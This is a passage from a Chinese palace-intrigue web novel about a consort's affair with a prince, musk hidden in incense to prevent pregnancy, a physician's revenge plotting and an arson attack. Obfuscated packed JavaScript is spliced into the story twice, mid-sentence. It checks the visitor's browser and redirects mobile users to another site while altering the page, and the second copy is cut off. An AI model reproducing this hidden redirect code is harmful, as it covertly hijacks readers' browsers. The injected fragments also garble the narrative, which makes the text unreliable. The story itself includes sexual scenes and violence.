眼下宇文辰之事,宇文渊心里明白此事一定和修儿有关,他只不过是想趁机敲打一下淮王而已,沈雨菲却跳了出来,看来孤的后宫早就与前朝有着千丝万缕的关系,扯也扯不清了吧。 “王上,你想啊,淮王如今正在风口浪尖之上,肯定有人看着不爽,想挫一挫他的威风。”沈雨菲小心试探,她在宇文渊身边待了十几年了,自然对他的一切都了如指掌。 宇文渊这个人不信任身边所有的人,他不相信宇文辰,自然也不会相信宇文修,要不然太子一死,他为何会把宇文辰从漠北召回来,还进行嘉奖并加封为亲王。 说白了宇文渊只不过是想利用宇文辰以及背后的莫家势力牵扯住宇文修以及背后的曹家,好让自己的王权以此达到相互制衡的目的。 “就算我不说,宇文渊也只会小惩大戒,轻拿轻放。”沈雨菲心里知道,她之所以向宇文渊提起,只不过是为了卖宇文辰和娴妃一个人情罢了,毕竟她的未来还得靠他们呢? 宇文渊扫了眼沈雨菲,这个女人倒是有些小聪明,他平静道:“你先下去吧。” “是,臣妾告退。”看来果真被我猜对了,宇文渊只不过是想借着此事好压一压宇文辰的风头。 她走出文华殿,正好撞见宇文辰此刻正在文华殿门口跪着。 午后的阳光极其炙热,豆大的汗珠从宇文辰的额头滑落,汗水浸湿了他的衣襟,沈雨菲掏出一块丝帕,并把含着淡淡的栀子香的丝帕递给了宇文辰。 宇文辰抬眼看着沈雨菲,只见她眉眼带笑,显得极其抚媚。 “多谢。”他的双手不听使唤的接过沈雨菲手中的丝帕,那是一双极具有魅惑的眼神,寻常男人只要看上一眼就让人难以忘怀。 “男人果真都一个德行。”沈雨菲自嘲后便赶紧离开,离开之时还不忘回头望一眼,就这一眼,正好与宇文辰的目光相交。 “他竟然敢如此光明正大的看我?”沈雨菲嘴角弯起,身为女人她自然明白宇文辰眼神里那种含糊不清的挑逗,那是一个男人对女人的审视与打量。 文华殿内,宇文渊正打盹,突然被惊醒才发现已经过了两个多时辰,“淮王还跪在外面?” 福贵点头:“没有王上的旨意,淮王殿下不敢起身离开。” “算他识趣。”宇文渊说道:“宣他进来吧。” 跪了两个多时辰,这惩罚也算是够了,至少给了王后和端王那边一个交代。这群人为了孤的王位真可谓是煞费苦心啊。 “父王,此事绝不是儿臣所为。”宇文辰径直的跪在宇文渊面前,瑟瑟发抖,他深知父王对背叛之人的那些手段,心里就不由得感到恐慌。 “量你也不敢。”宇文渊冷哼一声,这个儿子他到还算是看得明白的,就算给他一千个胆子,他也不敢这么做,之所以对他小惩大戒只不过是为了堵住那些人的嘴而已。 他看着宇文辰,语气深沉道:“虽然不是你做的,但此事因你而起,你也有罪过。” “孤罚你三个月俸禄,一个月禁闭。” “你回去好好自省吧。” “原来父王什么都知道?”宇文辰心里极其委屈,这简直就是无妄之灾,“明明不是我做的,我为什么要受罚。” 但他还是屈服于宇文渊的权威,回复道:“儿臣知道了。” “你不服?” “儿臣不敢。”宇文辰吓得浑身都散发着冷汗,天底下能够让宇文辰心生畏惧之人也就只有宇文渊了。 “下去吧。” “是,儿臣告退。”说完,宇文辰便赶紧撤退,此时他心跳不已晕头晕脑的来到了重华宫。 “本王怎么会来这里。”他抬头看了眼重华宫的大门,脑中浮现出刚刚与沈雨菲目光对视的画面,心中不由的震惊。 清醒片刻之后四处看了看,眼见没人便准备赶紧离开,“这要是被有心之人撞见了,传到父王耳里,怕是又会惹恼父王吧。” 宇文辰想起父王那张怒火中烧的面容,心里就不由得胆寒。 “淮王殿下,贵妃有请。”小桃对着宇文辰行了行礼。 “来都来了,不进去似乎不太合乎情理吧。”宇文辰点了点头便大步朝着重华殿走去。 “此女子果真是风华绝代,看着都十分养眼,难怪父王会偏偏独宠于她。”很早以前宇文辰就听说过父王的后宫有一个绝色美人,但他只远远见过,并没有见过这位贵妃真容。 如今宇文辰近距离相见,果真是长得极具有魅惑力,是个男子见了怕都会心动不止吧。 “本宫见淮王殿下既然来了重华宫,在门口徘徊已久,为何又不进来呢?”沈雨菲从文华殿回来之后,便换了一件粉色的衣服,然后给自己画了一个桃花妆容,显得一副我见犹怜的模样。 “本王......” “本王......” “对不起,本王刚想说什么的,眼下全忘了。”宇文辰心里觉得奇怪,每次看着沈雨菲的那双眼眸,脑中就一片空白,那双眼神似乎再向他述说着什么。 忽然他心里极度渴望的想要拥有这个女人,把她狠狠的拥抱在怀里,深深的亲吻着她。 宇文辰也不知道自己为什么会这么想,但身体的驱动让他整个脑子里都是沈雨菲的身影,看着她在自己的怀抱里沉沦,疯狂的沉沦。 “宇文辰,我喜欢你,很喜欢很喜欢你。” “喜欢?”宇文辰迷迷糊糊感觉自己身在温柔乡里,不愿醒来,“我也爱你,你不要离开我。” “不要离开我。” “放心,我不会离开你的。” 他像似抓住了什么东西似的,软绵绵的,滑而似鸡蛋般,让人欲罢不能。 “喜欢吗?” “喜欢。” “喜欢就把你的心给我吧。” 这个女人和他以往接触的任何女人都不一样,她时而像个小绵羊般温顺的躺在他的怀里,时而又像一头猛虎般疯狂地对他展开激烈的攻击。 宇文辰彻底被这个女人折服,此生只愿与你共享天下。 不知睡了多久,此时天已经全黑了,宇文辰迷迷糊糊之中听到了一个女人的哭声,断断续续的,他努力睁开眼皮,脑子瞬间清醒了不少。 “我......我......我怎么会在这里?”看着周围陌生的环境以及四处东倒西歪凌乱的物品。然后看了眼衣不蔽体的沈雨菲,再看看自己,他顷刻间便明白了过来。 “我睡了父王的宠妃?” 他一脸迷惘,整个人吓呆住了,“我......我怎么能和父王的妃子睡在一起。” “对不起......对不起......”他想起父王那张愤怒的脸,恨不得把他生吞活剥,心里就感到十分恐惧,“这要是被父王发现了,我还能活吗?” “我不是故意的,对不起。” 沈雨菲啼哭不止,宇文辰捡起衣服,想着趁无人看到正准备离开之时,沈雨菲哽咽着说道:“你还算是个男人吗?” “对不起,我......我们这事要是被父王发现了,他饶不了我们的。” “所以呢?” 宇文辰不明白沈雨菲言语中的意思,“所以我们就当今日什么事情都没有发生,以后你依旧做你的贵妃,我还是做我的王爷,见面也当作不认识。” “不认识?”沈雨菲自嘲笑道:“本宫居然没有想到堂堂的淮王殿下居然这么的懦弱无能。” 她站起身走到宇文辰身前,轻声说道:“你睡了本宫,此事可不能就这么算了。” “你想怎么样?”宇文辰神态慌张,难道她想把此事告诉父王,这不行,这绝对不行。 要是被父王知道了他们二人今日所做之事,宇文辰心想:“他这个王爷算是做到头了吧。” “不行。” 他用力拽住沈雨菲说道:“此事绝不能告诉父王。” “本宫要告诉王上,要王上替本宫做主,杀了你这个败类。”眼见目的即将达成,沈雨菲言语继续恐吓道。 “你不能告诉父王。”宇文辰看着沈雨菲的眼睛继续说道:“你要是告诉父王了,以父王的性格,我们两人都得死。” “你难道想死吗?” “死......”沈雨菲眼眶含满泪珠,内心极具委屈道:“本宫如今还能怎么办?” 她看着宇文辰的双眸说道:“本宫被你玷污了身子,与其这样活着还不如去死。” “你放开我,你放开我......”她努力挣扎着但怎么也挣脱不出来。 “你听我说......” 他见沈雨菲目前听不见他说的任何话,于是便大声喝道:“你先听我说。” “也许我们两人都不用死。” 他看着怀抱中的这个女人傻头傻脑一副要死要活的模样,心里突生一计,既然她如今是父王的宠妃,那么本王倒不如好好的利用她一番。 女人嘛,不都是想要一个对她关怀呵护的男人吗?既然如此,那本王为何做不得?不就是父王的一个宠妃嘛? “不用死?”沈雨菲睁着一双无辜的大眼看着宇文辰。 “对,我们都不用死。”宇文辰继续劝说道:“从今以后,本王会对你负责,你是本王的女人。” “你的女人?”沈雨菲继续作妖道:“不,本宫是王上的女人,不是你的女人。” “可你已经是本王的女人了,不是吗?” 沈雨菲愣住,无话可说。 宇文辰继续说道:“本王有一个想法,事关我们二人未来的大计。” “你说。”沈雨菲假装深思,这货总算是不负她所望,终于说道正点上了。 “你留在后宫之中利用父王对你的宠爱,把父王的一言一行都汇报给本王。”宇文辰幻想笑道:“等本王登基为王的那一天,你就是本王的王后。” “这个条件怎么样?”宇文辰心想:“如今她早已经是贵妃,距离王后仅一步之遥,只要开出王后的条件,怕是她才会心动吧。” “到时候等本王登基为王,大权在握之后,封不封她做王后还不是本王说的算。” “你真的会娶我?”沈雨菲擦干眼泪,再次反问道:“你真的会娶我做你的妻子?” “当然。”宇文辰抚摸着沈雨菲滑如鸡蛋般嫩滑的脸颊,“我当然会娶你,娶你做我的妻子。” “可是,你不是即将要迎娶莫家的嫡女莫嫣然为王妃了吗?”沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892869|192250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨菲道:“那如今我们这样算什么?” “我只是把嫣然当作我的妹妹而已,我对她并没有什么感情。”宇文辰小声在沈雨菲耳边说道:“本王自始至终爱的人只有你。” “你才是本王唯一的妻子。” 听到此话,沈雨菲心底犹如蜜糖般喜悦,虽然知道这个男人说的话是假的,但不管怎么样,宇文辰都跑不出她的五指山。 谁利用谁,那还不一定呢? “好,我答应你。” 她看着宇文辰的眼睛再次说道:“不过,你可要快点登上王位,快点来迎娶我。” “那是自然。” 说着说着,二人再次云雨一番,这一次,宇文辰算是切身体会到了这个女人的魅力,难怪父王独宠了这个女人这么多年。 以前宇文辰总是为母妃打抱不平,不知沈雨菲到底有何魅力,居然能够荣宠至今,现在自己亲自品尝了一番,倒是让他□□重生,要是母妃能够有她一半的魅力,倒也不至于会失去父王的宠爱。 “父王,既然你拥有了人间尤物,总不能自己一个人独享吧。” 他吃干抹尽之后,心满意足转身离开了重华宫。 “年轻就是好。”沈雨菲看着身上种满了的草莓印,心里不由感慨自己好久都没有这么刺激一把。 宇文渊那个老头,每次都要她来服侍,但是年纪大了身体又不行,每次都觉得扫兴。 沈雨菲想起昨晚与宇文辰激情的一晚,心中不由得想念。 她摸了摸自己的脸蛋,滑而有弹力的肌肤,虽然自己马上奔三了,但和年轻体力旺盛的人待在一起,自己都觉得年轻了许多。 只是可惜,为何这么久了自己的肚子却一点动静都没有,沈雨菲的手不经意间摸了摸自己的腹部,“如果本宫要是能够有自己的皇儿,就不用这么费劲心思的去扶植旁人了。” “小桃,去太医院请柳太医前来会诊。”按道理来说自己的身体应该是没有什么大的问题的,这么多年过去了,怎么就是没动静呢?沈雨菲心里一顿怀疑。 “是。”小桃微微行礼后正准备退下,她作为贵妃的心腹,自然知道贵妃娘娘这么多年为了能够怀上一儿半女努力了多久,可惜并不起什么作用。 “娘娘。” 琴心自然看出了沈雨菲心中的担忧,于是站了出来自荐道:“娘娘,听闻民间有位白大夫,妙手回春,就连淑宁公主的双腿都是她给治疗的。” “对。” 小桃斜眼看了看琴心,这人还没来多久,竟喜欢抢我的风头,她随口附和道:“娘娘,奴婢也曾听说过淑宁公主的双腿大有好转,听说不日便能够站起来了。” “站起来?”沈雨菲问道:“你亲眼看见淑宁能够站起来了?” 小桃摇头道:“奴婢虽然没有亲眼看见,但据娴妃身边的丫鬟说,淑宁公主能够站起来,只是目前还无法行走自如。” “此消息可靠?”沈雨菲再次质问道。 “应该是可靠的吧。”小桃心里有些忐忑,她不知娘娘问这些到底想干什么,但总觉得有不好的事情即将发生,不过作为宫女,虽然是娘娘的心腹但也不想知道太多,在这一点上,小桃还是非常有分寸的。 “小桃,不管此消息是真是假,你找个人在公主府把淑宁给本宫盯紧了,要是她的双腿真的好了,要及时来汇报。” “是。” 沈雨菲转头看向琴心说道:“琴心,既然你说白大夫医术很好,那么你就前去民间把白大夫给本宫带入宫中来为本宫诊治。” “是,娘娘。”琴心弯腰行礼后便退下了。 沈雨菲看着小桃说道:“你也退下吧。” “是,娘娘。”这个琴心最近怎么老是喜欢抢我风头,小桃心里有些不爽,想着自己在贵妃娘娘身边随侍了七年之久,没有功劳也有苦劳,如今却被一个刚来几个月的宫女给站了风头。 想到此事,小桃心里就极其不是滋味,要是琴心找的白大夫真的让贵妃娘娘怀上了孩子,那琴心岂不是取代了自己在娘娘心中的地位? 想到最近娘娘交代给自己的事情,每一件娘娘都十分不满意,小桃心里便觉得更加气愤,“一个新人,凭什么跟我斗,咱们走着瞧。” 她这次一定要把贵妃娘娘交代的任务完成好。 另一边,琴心来到白氏药铺。 “少宫主,属下已经按照您的吩咐做了,沈雨菲此人求子心切,自然不会怀疑到什么。” 雪微点头笑道:“琴心,你回去告诉沈雨菲,就说我目前在公主府给淑宁公主看诊,没有时间前往宫里给她看诊。” “这样回复,沈贵妃会不会生气?”琴心问道。 “她当然会生气,我要的就是她生气。” “是,属下明白了。” 琴心回到重华宫把雪微的话对着沈雨菲说了一遍,沈雨菲果真和少宫主想的一样非常的生气。 “淑宁,你为什么偏偏要和本宫做对。” 她对着琴心说道:“琴心,你去白大夫家给本宫守着,看到白大夫就把她给本宫绑也要绑过来。” “是,奴婢明白。” 沈雨菲看着空无一人的大殿,眼底闪过一丝杀意:“淑宁,本宫曾想过放你一马的,可是你为何偏偏喜欢在本宫的眼前晃悠。” “本宫想要得到的东西,从来就没有得不到的,如果本宫得不到,任何人都不可能得到。” “不要怪本宫,要怪就怪你偏偏阻了本宫的路。” 她想着这一路走来的经历,心底发誓宁愿死也不要回到过去。 48. 会诊 雪微看着院中的那颗梅花树,对着梅花树祭拜了几下,当年族人的身体被大火烧了个干净,连带着林家的祖坟也被人挖了出来鞭尸,雪微每每想到这些就觉得触目惊心。 “这些人做事可真绝,真是一点余地都不留。” 这么些年,她才慢慢的找回族人的尸骨,并把他们烧成这一坛子骨灰埋在了这颗梅花树树下,雪微每次坐在这颗梅花树下,就会觉得家人并为逝去,爹娘依旧围绕在自己的身旁,一家人开开心心的坐在梅树底下赏月。 “爹,娘,这么些年,我杀过不少人,但你们放心,我杀的这些人当中没有一个人是无辜的。”雪微看着这颗梅花树看了许久,似乎看到它就觉得无比心安。 “叶肃死了,被孩儿杀死了。”回想起那天,雪微察觉叶宏见到叶肃神色不对劲,于是便用内力震开了叶宏身上锁着的铁链,谁知叶肃和叶宏这对父子最后一面的结局居然是儿子咬断了父亲的脖子。 小时候的她连鱼都没有杀过,可如今雪微的双手早已经占满了血腥,如果不是大仇还未得报,雪微心想自己也会去和家人团聚吧。 这个世上早已经没有什么东西值得她留恋下去了,活着唯一的目的就是为族人复仇,让那些曾经陷害林家之人受到应有的惩罚。 “雪姨。” 雪微听见身后传来一个男子的声音,转身望去,神色略微吃惊道:“你怎么来了?” 半年多不见,李玄显得沉稳了许多。 “我要成婚了。” “成婚?”雪微问道:“你和谁家的女儿成婚?” “李尚书。”李玄垂下头,眼神不敢直视雪微:“我这次前来就是为了告诉雪姨这件事。” “我成婚后,雪姨就不用再担心我会继续纠缠于你了。” “户部尚书李元义?”雪微感到震惊,怎么会是他们家呢?她正准备阻止,李玄截住了雪微刚到嘴边的话,“雪姨,我知道你想要说什么?” “但我希望你什么都不要说。” “为什么?”雪微微微发怒,“李玄,你知道李元义是个什么样的人吗?” “李元义是个什么样的人和蓉儿没有半点关系,李元义是李元义,蓉儿是蓉儿。”李玄继续说道:“蓉儿如今已经怀了我的孩子,我必须给她一个名份,即使我不爱她。” 他看着雪微的眼神中充满了伤感,成婚本来是一件喜事,怎么如今却这么的伤感呢? “你与她成婚那天,我是不会去的。”李元义当年与叶肃勾结,伪造了爹爹的书信这笔账,我还未和他清算呢? 如今李玄还被蒙在鼓里,要是有一天知道了自己外公以及娘亲的死和李元义脱不了关系,到时候,玄儿又该怎么办? 雪微想到这些,头就有些犯疼,她本想阻止这场婚事,但奈何李蓉已经怀上了李玄的孩子,她心里安慰自己道:“李元义是李元义,李蓉是李蓉,他们本就是两个不一样的人。” 只不过再怎么安慰自己,都避免不了到时候等她解决了李元义,李蓉必定会感到心痛,而作为李蓉丈夫的李玄,等他知道了自己母亲的死和他的老丈人有关,玄儿又会怎么选择? 雪微似乎看到了这件事情背后必定的结局,可如今就连她自己也不知道该怎么做?拆散他们还是成全他们?这两个答案似乎都不是很好。 她感慨道:“真是孽缘。” “也罢,既然她怀了你的孩子,你是应该对人家负责。” 李玄走后,望月轩顿时冷清了不少,雪微看着院中那颗郁郁葱葱的梅树,想起了小时候阿姐陪着自己放风筝的情景,阿姐大她十几岁,她出嫁的时候,雪微才三岁不到。 印象中,阿姐的面容还依旧停留在她出嫁的那日,穿着喜庆的婚服,满眼都是欢喜与期待,“只是可惜李朔不是个良人,他配不上我的阿姐。” “阿姐,对不起,玄儿如今要和仇人的女儿成婚了,我本想阻止,但奈何他们已经有了孩子了。”雪微看着梅花树发呆了许久。 “阿姐,请你告诉我,我该怎么做?” 她想了想:“就让上一辈的恩怨永远止于我们这一辈吧,不要再波及下一辈了。” “少宫主......” 看到琴心再次出现在白氏医馆,雪微心中顿时明白了,看来沈雨菲还是没有放弃,也是,按照沈雨菲不达目的誓不罢休的性子,她怎么可能会放弃。 “你先回去告诉沈雨菲,等我明日替淑宁公主诊治了再随你去宫中替沈贵妃诊治。”雪微之所以这么做就是为了激起沈雨菲与淑宁之间的恩怨。 “这一次,我到要看看你们往哪里逃。” 次日,雪微来到公主府,见淑宁在卧室走得越来越利索,她脸上露出欣慰的神情,“公主,您的腿才刚刚恢复没多久,不宜行走过度。” 淑宁一脸傲娇生气的模样,“你叫本宫什么?” “姐姐。” 淑宁道:“这还差不多。” 雪微扶着淑宁来到贵妃榻上坐着,笑道:“姐姐,看您的气色,比先前好了不少,妹妹真的为您感到开心。” “这一切都是你的功劳。”淑宁握着雪微的双手,笑道:“这一年以来多亏了有你,要不然,我真的活不下去了。” “你真的是我的救命恩人。” 雪微被夸得有些不好意思了,她沉默的叹息片刻,就这细微的神情却被淑宁察觉了出来。 淑宁问道:“妹妹是有什么心事?” “嗯......”雪微点头,不知该讲还是不该讲。 “你要是有什么心事,可以跟姐姐说说,看看本宫能够替你分忧不?” “姐姐。”雪微欲言又止的模样更加勾起了淑宁的好奇心。 “贵妃娘娘今日派人来找我了。” “沈贵妃?” 雪微见淑宁脸上的笑容逐渐隐了去,自知她对沈雨菲恨之入骨,既然如此,何不再加一把火呢? “贵妃娘娘找我进宫替她会诊,妹妹当时也觉得奇怪,宫中的妃嫔不是由太医院的太医会诊吗?什么时候要从民间找大夫进宫会诊了?”雪微看起来一无所知的模样,心里充满了疑惑。 淑宁冷冷的笑了笑,心中想了想:“沈雨菲从民间找大夫进宫会诊,此事可大可小,难道是为了孕育一事?” “原来如此?” 淑宁自小就在这王宫中长大,宫中只要是个正常的女子是不可能这么多年肚子都没有任何动静的,沈雨菲一定是意识到了这一点,所以才从民间找大夫的吧。 父王早就看清楚了沈雨菲的真面目,根本就不想要她怀上子嗣,所以才在重华宫放入麝香,只是可惜沈雨菲自以为是,以为父王对她宠爱有加。 “妹妹,你听姐姐说,她既然找你进宫为她诊治,不管你诊治出来什么,都要装作不知道,明白了吗?” “装做不知道?” “对。”淑宁说道:“这些宫里之事本就不应该把你卷入其中,即使查出了什么,你就装作什么都不知道,要不然你会有性命之忧。” 她拉着雪微的手,“听姐姐的话,姐姐是不会害你的。” “我明白了。”雪微勉强笑了笑,看来此事背后另藏玄机,她看了眼淑宁那张谈之色变的神情,沈雨菲之所以怀不上孩子怕是跟宇文渊有关吧。 宫内太医院的太医肯定对此事十分的了解,但没有一人敢把实话告诉沈雨菲,雪微心里想了想,看来宇文渊并没有传说中那么宠爱沈雨菲。 ...... 时隔一年,当雪微顶着白大夫的身份再次来到重华宫见到沈雨菲的时候,她还是和十几年前一样,并没有任何衰老的迹象。 “草民白冉参见贵妃娘娘。”雪微微微行礼,她行礼的动作并不是很标准,毕竟身在民间,自由惯了,自然对宫中的礼仪一概不知。 “起来吧。” 这贵妃做久了,果真和当年变得不一样了,从前那个自卑怯懦的女孩现如今早已变得疾言厉色。 “本宫听闻你治好了淑宁公主的双腿,此事可当真?”沈雨菲试探性质疑道。 雪微微微低头,表现得有点怯懦的模样,“不可当真,公主的双腿并没有好,且经常使不上力。” “这么多年过去了,还是改不了这疑神疑鬼的老毛病。”她心里想了想,既然你这么好奇,为何不亲自派人去盯着呢? 沈雨菲用力拍了拍桌子,桌上的茶杯也跟着颤动了起来,“撒谎,本宫的宫女前几日在娴妃的宫里亲眼看到了淑宁从轮椅上站了起来,你敢当着本宫的面说公主的腿没有恢复?” “撒谎可是要付出代价的。” 雪微吓得面色惨白:“草民没有撒谎,草民可以请那位宫女前来与其对峙,公主的腿并没有好,只是偶尔有人扶着的时候可以稍微站起来活动一下,但并不是像他们说的一样可以行走自如。” 她跪下,继续说道:“娘娘要是不信,大可派太医前去试探一下便知道了。” “放肆,本宫对淑宁公主那是关心,所以才把你从民间传进宫里问问,怎么能够说是试探呢?”沈雨菲眉眼带笑,看这女子一副谨小慎微的模样,看样子不像是说谎,难道淑宁的双腿真的没有恢复? “亏得本宫还以为她医术高超,看来真是昏了头了。”沈雨菲心想。 “本宫最近有点头晕,既然你都来宫里了,那你上前来给本宫把把脉吧。”沈雨菲暗自想:“本宫到要看看你能够诊治出什么?” “是。” 雪微起身,小心翼翼的提着医箱来到了沈雨菲面前,大约一刻钟左右,雪微对着沈雨菲说道:“娘娘的身体并无大碍,十分的健康。” “本宫就知道她医术平平,诊治不出什么。”这么多年,沈雨菲宣过太医院的每一位太医为她诊治,但每一任太医说的和她说的如出一辙。 “这群庸医。” “难道本宫注定了今生无法拥有自己的孩子吗?”她脸色瞬间变得难看起来,心里正打着主意把雪微小小惩戒一番。 太医院的太医本宫动不得,你一个民间的医女,一无背景,二无实权,本宫要打要杀还不是看本宫的心情。只可惜今日本宫心情实在是不太好,被你撞见了。 “来人。”她正准备叫人把雪微拖下去仗责二十,此时雪微突然朝着香炉走了过去。 “娘娘,这是什么?”雪微指着香炉,刚进入这间屋子的时候,她就已经断断续续的闻到了麝香的味道。 看沈雨菲刚才的声势怕是要把她拖出去暴打一顿吧,雪微心里极度鄙夷,既然你要如此做,那就怪不得我了。 小桃看着雪微一脸不识货的模样,心里觉得鄙夷:“这是王上宠爱娘娘,赏赐给娘娘的龙涎香。” “王上?” 沈雨菲察觉到雪微的脸色变了变,心想:“难道这龙涎香有什么问题?” “你留下,所有的人都退下吧。”她看着雪微说道。 待宫女太监都退下以后,沈雨菲缓缓的走到香炉前,对着雪微问道:“这香炉是不是有什么问题?” “娘娘,草民......草民不知该不该讲?”雪微表现出吞吞吐吐一副胆小怕事的模样。 沈雨菲一阵心慌:“本宫叫你说,你就说,出了什么事,有本宫担着。” “这香料里含有麝香,虽然闻起来很淡,但是每日这样大量的闻下去,娘娘的身体自然也就不容易受孕了。” “麝香,王上?”任凭沈雨菲怎么想都想不到自己无法怀孕之事居然是宇文渊在背后搞鬼,“宇文渊,你就这么不想要我怀上你的孩子吗? 她无法相信往日里对自己宠爱有加的王上背地里居然不想让她怀上孩子,连一丝血脉也不愿意留给她。 当她意识到此事兹事体大之后,她对雪微说道:“今日之事,不要对任何人提起,要不然,本宫也保不了你的小命。” “草民明白。”雪微点头。 “叫琴心送你出宫吧。” “是。” “宇文渊,往本宫对你一番赤诚,没想到你居然如此害本宫。”沈雨菲感到心通到无法言语,也许是气急败坏但又不能前去质问而感到憋屈吧。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892870|192250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她生气的推倒香炉,“本宫绝不会如你所愿,给你陪葬。” “谎言......谎言......一切都是谎言......” ...... “少宫主,属下前段时间偶然间发现淮王殿下卯时天刚微微亮的时候出现在贵妃娘娘的屋子里。”琴心用着只有两个人能够听见的声音对着雪微说道。 “那个时候,属下刚刚起床准备上厕所,突然发现一个男人从娘娘的屋子里走了出来,于是便跟上前去看了看。” “你确定那个男人是淮王殿下吗?”雪微问道。 “属下确定。”琴心说道:“属下发现他两次了,有一次在宫中又发现了他,旁边的宫女给他请安,属下这才知道他就是淮王殿下。” “知道了。”雪微说道:“你在宫里要处处小心,不要让任何人发现了,要是有什么不对劲就赶紧撤离。” “属下知道了。” “宇文辰,沈雨菲,你们这二人还真是狼狈为奸。”雪微心里觉得恶心,她转身回头看了看这座王城,“皇伯伯,你坐在那个位置还安心吗?” “放心,过不了多久,我就会亲自来见你的,你可要给我好好活着呀。” “我们很快就会相见。” 此时,宇文修那边听闻谣言被压了下去,父王对宇文辰也只是小惩大戒罚了他三个月俸禄外加一个月禁闭后勃然大怒。 凤仪宫内,宇文修急得像热锅上的蚂蚁般,对着王后诉苦道:“母后,儿臣再也受不了了,父王怎么转性了,对那个宇文辰偏爱有加。” 宇文渊对宇文辰的态度让宇文修感受到了前所未有的威胁。 “本宫还能怎么办,你派人在民间散播谣言的事情传到了王上的耳中,本宫早就跟你说过叫你小心点,小心点,怎么你就是不听劝,现在好了,还连累了本宫。”王后一脸怒气,看着这个儿子有点恨铁不成钢。 “阿姐,修儿只不过是太心急了,一时做错了事,阿姐你就别责怪修儿了。”曹坚劝和道。 “舅舅,这事也不能怪我,这么多年,我办事从来都是极其隐蔽,没有出过半点差错,就这一次,怎么就被当场抓获了?”宇文修有些不解:“似乎是专门设置好陷阱等着本王往下跳似的。” “你确定是有人提前设好了陷阱?”曹坚眉头紧皱,总觉得此事背后没有表面上看上去这么简单。 宇文修点头:“我确定。” “阿姐,如果真的是有人提前设置好了陷阱在那里等着我们,那么这个人对我们的一举一动可谓是了如指掌。”曹坚心里总觉得不安,最近这种不安的情绪一直左右着他。 “舅舅,你是说母后宫里有细作?”宇文修环看四周,降低声音说道。 “这件事情我只跟母后提过再也没有跟旁人提过了,母后是肯定不会害我的。” 三人顿时沉默了许久,难道凤仪宫真的混入了别的宫里的细作。 “会是谁呢?” 曹坚道:“修儿,上次你跟阿姐提起此事的时候,可有谁在场?” 宇文修回忆片刻,摇头道:“当时母后屏退了所有的宫女太监,并没有人在场。” 他回想了,又说道:“我记得母后的贴身宫女秋桂好像当时就守在门外,舅舅,你说我和母后的对话会不会被她给听到了。” “不可能,绝不会是秋桂。”王后一脸坚定:“秋桂跟随本宫有十几年了,是本宫未出嫁时就跟在身边的老人,怎么可能是她?” “嗯。”曹坚摸了摸自己的下巴深思熟虑道:“秋桂其实是曹家从小专门培养的暗卫,专门负责保护阿姐的人身安全的。” “所以绝不可能是她。”曹坚也随之附和道。 “你说什么?”王后转头看着曹坚,质疑道:“你说秋桂自小就是曹家专门培养的暗卫?” “此事,本宫怎么不知道?” “阿姐。”曹坚一脸冤枉,解释道:“阿姐,你听我说,此事完全是父亲在世时安排的,他这么做也是为了保护你的安全,不是吗?” “到底是为了保护本宫的安全,还是为了监视本宫,坚弟,你心里难道不清楚吗?”突然听到这个事情,王后心里实在是不好受,“没想到,这么多年父亲早就布局好了一切,他居然真的这么狠心派一个杀手跟在我的身边时时刻刻监视我。” “如果本宫要是做出对曹家不利的事情,他怕是会让秋桂杀了本宫吧。” “阿姐,你别这么想,如今父亲已经去世了,秋桂真正忠诚的主人是阿姐您呀。”曹坚叹了口气,“我早就已经跟秋桂说了,从今以后,她只会效忠您一个人。” “不是本宫想要这么想,坚弟,父亲到死都没有相信过我,你不明白的?”此刻也不知怎么了,明明本宫现在拥有了至高无上的权利,可是为何心还是会这么的痛。 她心里默默想道:“父亲,你为何偏偏要这样对女儿呢?” “细作这件事如今只能私下里暗自调查,不能打草惊蛇。”曹坚看了眼王后,无奈之下摇了摇头,“阿姐,你好好休息,我和修儿先离开了。” 他临走之时专门交代秋桂暗中监视好凤仪宫内的一切可疑人士,有任何事情都要前来汇报。 “你母后有时做事太过于情绪化了,所以你外公不放心,才把秋桂派到你母后的身边。” 曹坚对着宇文修说道:“你外公其实很不放心宇文渊,他心狠手辣,连自己的亲哥哥都杀。” “陪伴自己和自己义结金兰的兄弟也被他杀害了,还安上了叛国的罪名。” “这样的人,怎么可能会有真情呢?” 曹坚说的这些事,宇文修自小就听说过,他明白身处王宫的尔虞我诈,也自是知道父王对所有的人都不信任,他只相信他自己以及他触手可得的江山。 “舅舅,你说的这些,我都明白。” “你放心吧,我会劝说母后宽心的。”毕竟父王不只是他一个人的父王,但是母后以及曹氏才是他背后真实可靠的助力。 曹坚看着宇文修懂事的一面,心里感到极其欣慰。 49. 脱壳 丑时,街上空无一人,两名杀手闯入白氏药铺,在铺子里面翻找了许久。 “你那边看到人没?” “没有。” “我这边也没有,奇了怪了,难道白冉不住在这里?” 他们临走之时,放了把火,烧了整个白氏药铺,“不管有没有人,只要烧了这里,白冉就不会再出现在京城。” “到时候我们回禀娘娘,直接说白冉烧死在白氏药铺。” 熊熊的大火照亮了半边天,火势渐渐蔓延到了隔壁店铺,隔壁店铺的伙计被热醒了,起身便看到店铺烧了起来,衣服都来不及穿便跑了出来。 “着火了......着火了......” 他们对着白氏药铺喊了许久,嗓子都冒烟了,但依旧没有看到任何人的身影,“难道睡过头了?” 大家手里捏了一把冷汗,都希望今夜药铺无人,白大夫上山采药去了。 